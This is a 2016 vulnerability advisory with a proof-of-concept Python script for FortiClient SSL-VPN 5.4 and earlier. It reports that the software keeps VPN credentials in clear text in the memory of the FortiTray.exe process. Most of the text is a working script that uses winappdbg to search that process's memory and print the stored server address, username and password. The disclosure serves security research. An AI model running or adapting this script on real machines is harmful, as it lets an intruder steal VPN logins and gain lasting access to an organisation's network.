FortiClient SSL-VPN 5.4 Clear Text Password Extraction
Posted on 02 September 2016
Title : Extracting clear text passwords from running processes(FortiClient) CVE-ID : none Product : FortiClient SSLVPN Service : FortiTray.exe Affected : <=5.4 Impact : Critical Remote : No Website link : http://forticlient.com/ Reported : 31/08/2016 Authors : Viktor Minin https://1-33-7.com Alexander Korznikov http://korznikov.com -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- In our research which involved this program we found that this process store the credentials that you supplied for connecting, in clear text in the process memory. In this situation a potential attacker who hacked your system can reveal your Username and Password steal and use them. This may assist him in gaining persistence access to your Organization LAN network. ''' from winappdbg import Debug, Process, HexDump import sys filename = "FortiTray.exe" # Process name search_string = "fortissl" # pattern to get offset when the credentials stored # Searching function def memory_search( pid, strings ): process = Process( pid ) mem_dump = [] ###### # You could also use process.search_regexp to use regular expressions, # or process.search_text for Unicode strings, # or process.search_hexa for raw bytes represented in hex. ###### for address in process.search_bytes( strings ): dump = process.read(address-10,800) #Dump 810 bytes from process memory mem_dump.append(dump) for i in mem_dump: if "FortiClient SSLVPN offline" in i: #print all founds results by offsets to the screen. print " " print " [+] Address and port to connect: " + str(i[136:180]) print " [+] UserName: " + str(i[677:685]) print " [+] Password: " + str(i[705:715]) print " " debug = Debug() try: # Lookup the currently running processes. debug.system.scan_processes() # Look for all processes that match the requested filename... for ( process, name ) in debug.system.find_processes_by_filename( filename ): pid = process.get_pid() memory_search(pid,search_string) finally: debug.stop()
